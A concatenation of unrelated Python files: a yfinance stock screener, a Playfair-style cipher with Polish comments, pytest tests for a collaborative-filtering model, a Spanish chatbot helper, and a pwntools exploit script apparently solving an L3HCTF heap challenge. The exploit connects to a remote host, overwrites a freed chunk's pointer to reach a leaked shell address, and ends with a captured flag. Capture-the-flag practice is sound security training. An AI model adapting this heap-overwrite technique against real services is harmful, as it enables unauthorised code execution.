                    "WDC", "ZM", "DOCU", "SYNA", "NET",
                    "CRM", "FSLR", "SHOP", "HPE", "HPQ", "ASML", "AVGO", "INTU",
                    # Entertainment
                    "DIS", "NFLX",
                    # Services
                    "0700.HK", "AAL", "AMZN", "BABA", "DAL",
                    "DISH", "EBAY", "ETSY", "FB", "FSLY", "FVRR", "JMIA",
                    "LYFT", "MELI", "PTON", "ROKU", "SQ", "TTD", "UAL", "UBER",
                    "WORK", "AMWL", "BYND", "MCD", "SBUX", "CHTR",
                    "OKTA", "LYV", "MAR", "MNST", "OSTK", "SAVE", "SIX", "URBN",
                    "W",
                    # Consumer Goods
                    "AAPL", "ADS.DE", "ALXN", "AML.L", "APRN", "COST",
                    "NIO", "NIU", "NKE", "PEP", "PG",
                    "PM", "SHAK", "SNE", "TPR", "TSLA"
                    "TDOC", "PDD", "U", "MRNA", "CHWY", "WBA", "RACE",
                    "CL", "AEO", "BILI", "CHGG",
                    "IRBT", "RCL", "UA",
                    # Financial
                    "BAC", "BBD", "CIT", "ITUB", "JPM", "O", "SLV", "V",
                    "BRK-B", "MA", "BLK", "VTI", "AGNC", "BPY", "DB",
                    "MAIN", "OHI", "SPG", "STOR",
                    # Basic Materials
                    "GOLD", "NEM", "SLB", "XOM", "APD", "RDS-B",
                    "RIO",
                    # Industrial Goods
                    "BA", "LMT", "NTDOY", "RTX", "SIE.DE", "UPS", "NTLA",
                    "ENPH", "DHI", "ROK", "CAT", "UNP",
                    # Healthcare
                    "GILD", "PFE", "MDT", "ILMN",
                    # Utilities
                    "NEE", "OAOFY", #ATADL.L
                    # Coglomerates
                    "MMM"
                    ]

    # stockSymbols = ["NFLX", "DELL"]  # for testing

    def downloadData(data_3d, stockSymbols, current, i):
        # Get history data
        data_3d[i] = yf1.download(stockSymbols[i], period="3d")

        # Get current price
        ticker_yahoo = yf1.Ticker(stockSymbols[i])
        data = ticker_yahoo.history()
        current_ = (data.tail(1)['Close'].iloc[0])
        # print(f"Stock {stockSymbols[i]}: current {current_}")

        current[i] = current_

    # dummies
    data_3d = []
    current = []

    with Manager() as manager:
        # stockSymbols = [# Technology
        #                 "ATVI", "ADBE", "ADSK", "ANSS", "AMD", "CDNS", "CSCO"]
        a = manager.list(range(len(stockSymbols)))  # <-- can be shared between processes.
        b = manager.list(range(len(stockSymbols)))
        processes = [None] * len(stockSymbols)
        for i in range(len(stockSymbols)):
            p = Process(target=downloadData, args=(a, stockSymbols,
                                                   b, i))  # Passing the lists
            p.start()

            # Join processes at certain point, otherwise the RAM gets eaten
            # for huge lists
            step = 100
            if i % step == 0 and i != 0:
                p.join()
            elif i == len(stockSymbols) - 1:
                print(len(stockSymbols))
                print(i)
                p.join()

        # print(a[0]["Open"][-1])
        p.close()
        data_3d = list(a)
        current = list(b)

    return stockSymbols, current, data_3d

def filterStocks():

    import numpy as np
    import yfinance as yf1
    from multiprocessing import Process, Manager

    # Filter stocks
    stockSymbols, current, data_3d = ExtractStocksData()

    def filterData(stockSymbols, current, data_3d, filteredSymbols,
                   filteredPrevCloses, filteredOpens, filteredCurrents,
                   filteredOpenVsPrevClosePerc, filteredOpenVsCurrentPerc,
                   filteredOpenVsCurrentDiff, i):

        print("Stock: ", stockSymbols[i])
        # print("Open: ", data_3d[i]["Open"][-1])
        # print("Close: ", data_3d[i]["Close"][-2])

        # Check if the data is available
        if len(data_3d[i]["Close"]) > 2:
            premarket_up_percent = \
                (data_3d[i]["Open"][-1] / data_3d[i]["Close"][-2] - 1) * 100
            current_percent = (current[i] / data_3d[i]["Close"][-2] - 1) * 100
        else:
            premarket_up_percent = 0.0  # Dummy
            current_percent = 0.0  # Dummy

        # print("premarket_up_percent: ", premarket_up_percent)
        # print("current_percent: ", current_percent)

        # SMA - SIMPLE MOVING AVERAGE
        pandas_table = yf1.download(stockSymbols[i], period="180m", interval="1m")
        # Calculating the n-window simple moving average
        sma = pandas_table.rolling(window=50).mean()
        # print(f"Current: {current[i]}; SMA: {sma['Open'][-1]}")

        if (current_percent > premarket_up_percent) and \
           ((current_percent - premarket_up_percent) > 1.5) and \
           (sma["Open"][-1] < current[i]):
            filteredSymbols.append(stockSymbols[i])
            filteredPrevCloses.append(np.round(data_3d[i]["Close"][-2], 2))
            filteredOpens.append(np.round(data_3d[i]["Open"][-1], 2))
            filteredCurrents.append(np.round(current[i], 2))
            filteredOpenVsPrevClosePerc.append(
                np.round((filteredOpens[-1] / filteredPrevCloses[-1] - 1) * 100, 2))
            filteredOpenVsCurrentPerc.append(
                np.round((filteredCurrents[-1] / filteredPrevCloses[-1] - 1) * 100, 2))
            filteredOpenVsCurrentDiff.append(
                np.round(filteredOpenVsCurrentPerc[-1] - filteredOpenVsPrevClosePerc[-1], 2))

    # Dummies
    filteredSymbols = []
    filteredPrevCloses = []
    filteredOpens = []
    filteredCurrents = []
    filteredOpenVsPrevClosePerc = []
    filteredOpenVsCurrentPerc = []
    filteredOpenVsCurrentDiff = []

    with Manager() as manager:
        a = manager.list(range(len(stockSymbols)))  # <-- can be shared between processes.
        b = manager.list(range(len(stockSymbols)))
        c = manager.list(range(len(stockSymbols)))
        d = manager.list(range(len(stockSymbols)))
        e = manager.list(range(len(stockSymbols)))
        f = manager.list(range(len(stockSymbols)))
        g = manager.list(range(len(stockSymbols)))
        processes = []
        for i in range(len(stockSymbols)):
            p = Process(target=filterData, args=(stockSymbols, current,
                                                 data_3d, a, b, c, d, e, f, g,
                                                 i))  # Passing the lists
            p.start()

            # Join processes at certain point, otherwise the RAM gets eaten
            # for huge lists
            step = 100
            if i % step == 0 and i != 0:
                p.join()
            elif i == len(stockSymbols) - 1:
                print(len(stockSymbols))
                print(i)
                p.join()

        # print(a[0]["Open"][-1])
        p.close()
        filteredSymbols = list(a)
        filteredPrevCloses = list(b)
        filteredOpens = list(c)
        filteredCurrents = list(d)
        filteredOpenVsPrevClosePerc = list(e)
        filteredOpenVsCurrentPerc = list(f)
        filteredOpenVsCurrentDiff = list(g)

    # Remove obsolete integers from list
    filteredSymbols = [x for x in filteredSymbols if not isinstance(x, int)]
    filteredPrevCloses = [x for x in filteredPrevCloses if not isinstance(x, int)]
    filteredOpens = [x for x in filteredOpens if not isinstance(x, int)]
    filteredCurrents = [x for x in filteredCurrents if not isinstance(x, int)]
    filteredOpenVsPrevClosePerc = [x for x in filteredOpenVsPrevClosePerc if not isinstance(x, int)]
    filteredOpenVsCurrentPerc = [x for x in filteredOpenVsCurrentPerc if not isinstance(x, int)]
    filteredOpenVsCurrentDiff = [x for x in filteredOpenVsCurrentDiff if not isinstance(x, int)]

    zipped = zip(filteredSymbols, filteredPrevCloses, filteredOpens,
                 filteredCurrents, filteredOpenVsPrevClosePerc,
                 filteredOpenVsCurrentPerc, filteredOpenVsCurrentDiff)

    return zipped

if __name__ == "__main__":
    # test
    # stockSymbols, current, data_3d = ExtractStocksData()
    # print(stockSymbols)
    zipped = filterStocks()
    # print(zipped)


import data.Point as Point
import data.Square as Square

class Cipher:
    def __init__(self):
        self.square = Square.Square()

    def encode_v3(self, text):
        # 4. Jeśli ciąg znaków zawierać będzie nieparzystą liczbę znaków, należy uzupełnić go literą X.
        if len(text) % 2 == 1:
            text = text + "x"

        # 4. Jeśli litery p i q są identyczne, należy wstawić pomiędzy nie literę X
        new_text = text
        idx = 0
        for i, c in enumerate(text):
            if i != len(text) - 1 and c == text[i+1]:
                new_text = new_text[:i+1+idx] + "x" + new_text[i+1+idx:]
                idx += 1

        # 3. Jeśli p i q są w różnych wierszach i kolumnach, to tworzą narożniki prostokąta wewnątrz kwadratu szyfrującego.
        # Litery c i d należy odczytać z pozostałych dwóch narożników prostokąta, przy czym litera c powinna być w tej samej kolumnie co litera p.
        encode_text = self.transform_text(new_text)

        return encode_text

    def decode(self, text):

        decode_text = self.transform_text(text)

        return decode_text.replace("x", "")

    def find_element(self, el):
        for i in range(len(self.square.matrix)):
            for j in range(len(self.square.matrix[i])):
                if self.square.matrix[i][j] == el:
                    return Point.Point(i, j)

        return False

    def transform_text(self, new_text):
        encode_text = ""
        for i, c in enumerate(new_text):
            if i % 2 == 0 and i != len(new_text) - 1:
                if new_text[i+1] == " " or new_text[i] == " ":
                    encode_text = encode_text + new_text[i] + new_text[i+1]
                else:
                    if self.find_element(new_text[i]) != False and self.find_element(new_text[i + 1]) != False:
                        point_first = self.find_element(new_text[i])
                        point_second = self.find_element(new_text[i+1])
                        encode_text = encode_text + self.square.matrix[point_second.i][point_first.j]
                        encode_text = encode_text + self.square.matrix[point_first.i][point_second.j]
                    else:
                        encode_text = encode_text + new_text[i] + new_text[i+1]

        return encode_text

# def main():
#     c = Cipher()
#     s = c.encode("ala ma kota")
#     print(s)
#
#
# main()


import pytest
import numpy as np
from impression.collaborative_filtering import ItemMemoryModel

@pytest.fixture
def ratings() -> np.ndarray:
    return np.array([
        [np.nan, 2, 0, np.nan, 1, -1],
        [-2, np.nan, np.nan, 0, np.nan, 1],
        [1, -1, np.nan, np.nan, 0, np.nan],
        [1, 0, -1, np.nan, 2, -2],
    ])

@pytest.fixture
def model() -> ItemMemoryModel:
    return ItemMemoryModel()

def test_hparam_alpha(model: ItemMemoryModel, ratings: np.ndarray) -> None:
    model.alpha = 2.0
    model.fit(ratings)
    assert round(model.predict(0, 0)) == 0.0
    assert round(model.predict(2, 2), 1) == 0.5

def test_predict(model: ItemMemoryModel, ratings: np.ndarray) -> None:
    model.fit(ratings)
    assert model.predict(0, 0) == 1.0
    assert model.predict(1, 2) == 1.0
    assert model.predict(3, 3) == -2.0

def test_mu(model: ItemMemoryModel, ratings: np.ndarray) -> None:
    expected = np.array([0.5, -0.3, 0., 0.])
    model.fit(ratings)
    np.testing.assert_array_almost_equal(model.mu, expected, 1)

def test_similarity(model: ItemMemoryModel, ratings: np.ndarray) -> None:
    expected = np.array([1.0, -0.7, -1.0, -1.0, 0.7, -0.9])
    model.fit(ratings)
    np.testing.assert_array_almost_equal(model.sim_scores[0], expected, 1)

def test_top_k(model: ItemMemoryModel, ratings: np.ndarray) -> None:
    model.fit(ratings)
    assert model.top_k_items(0, 3) == [1, 0, 4]
    assert model.top_k_items(3, 3) == [4, 0, 1]


from pwn import *
import json

#context.log_level = 'debug'

p = remote('124.71.194.126','9999')
#p = process('./SPN_ENC')
elf = ELF('./SPN_ENC')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def malloc(idx,size):
    p.recvuntil('0.exit\n')
    p.sendline(str(1))
    p.sendlineafter('Size:',str(size))
    p.sendlineafter('Index:',str(idx))

def free(idx):
    p.recvuntil('0.exit\n')
    p.sendline(str(3))
    p.sendlineafter('Index:',str(idx))

def show(idx):
    p.recvuntil('0.exit\n')
    p.sendline(str(4))
    p.sendlineafter('Index:',str(idx))

def edit(idx,size,con):
    p.recvuntil('0.exit\n')
    p.sendline(str(2))
    p.sendlineafter('Index:',str(idx))
    p.sendlineafter('Size',str(size))
    p.sendafter('Content',con)

p.recvuntil('gift:')
shell = int(p.recvline()[:-1],16)
p.info('shell: '+hex(shell))
'''
malloc(0,0x2)
x = []
y = []
for i in range(0x100):
    for j in range(0x100):
        edit(0,0x2,p8(i)+p8(j))
        show(0)
        p.recvline()
        d = u16(p8(i)+p8(j))
        c = u16(p.recv(2))
        x.append(d)
        print(hex(d))
        y.append(c)

dic = dict(zip(y, x))
j = json.dumps(dic)
f = open('test.txt', 'w')
f.write(j)
f.close()
'''
file = open('test.txt', 'r')
js = file.read()
dic = json.loads(js)
file.close()
#print(dic[str()])

malloc(0,0x10)
malloc(1,0x10)
malloc(2,0x10)

free(2)
free(1)
pay = 'A'*0x20
pay+= p16(dic[str(shell&0xffff)])
pay+= p16(dic[str((shell>>16)&0xffff)])
pay+= p16(dic[str((shell>>32)&0xffff)])
edit(0,0x26,pay)
malloc(3,0x10)
malloc(4,0x10)
edit(4,0x2,'AA')
p.recvuntil('0.exit\n')
p.sendline(str(5))

#gdb.attach(p)
p.interactive()
#L3HCTF{981f01280226acbba41093a38eea1d97}


import json
import os
from tkinter import messagebox as MessageBox

StopWord = "desea"
final_lexema = ""
Ind_StopWord = False
finalizar = "Si, muchas gracias"
menu = "Si"
adicion = "Si, Gracias"
table = "Respuestas.json"

def search_size_domain(word_pass):
    global table
    size = 0
    with open(table, "r") as j:
        try:
            mydata = json.load(j)
            for data in mydata[word_pass]:
                size = len(data)
        except:
            print("")
    if size > 0:
        return True

def search_data_domain(word):
    global table
    response = ""
    with open(table, "r") as j:
        try:
            mydata = json.load(j)
            for data in mydata[word]:
                response = response + data["total"]
        except:
            print("")
    return response

def create_table_response(symbols):
    ruta = os.path.abspath(os.getcwd())
    file = open(ruta + "\\" + "responsetable.txt", "w")
    file.write(symbols)
    file.close()

def response_generator(lexema, token2):
    global final_lexema, Ind_StopWord

    # Eliminacion StopWord
    if StopWord in lexema:
        final_lexema = lexema.replace(StopWord, "")
        Ind_StopWord = True

    # Generador de respuestas
    for x in final_lexema.split(" "):
        if search_size_domain(x):
            if x == "finalizar":
                MessageBox.showinfo("Alerta", finalizar)
                create_table_response(finalizar + "\n")
                break
            elif x == "menu":
                MessageBox.showinfo("Alerta",
                                    menu + "\n" + "______________ \n" + search_data_domain("menu").replace("|", "\n"))
                create_table_response(menu + "\n" + "______________ \n" + search_data_domain("menu").replace("|", "\n"))
                break
            elif x == "adicion":
                MessageBox.showinfo("Alerta",
                                    adicion + "\n" + "______________ \n" + search_data_domain("adicion").replace("|",
                                                                                "\n"))
                create_table_response(adicion + "\n" + "______________ \n" + search_data_domain("adicion").replace("|",
                                                                                "\n")
                                      )
                break

    # Impresion Token3
    final_string = token2.replace("V", StopWord, 1)
    return final_string.replace(" ", "\n")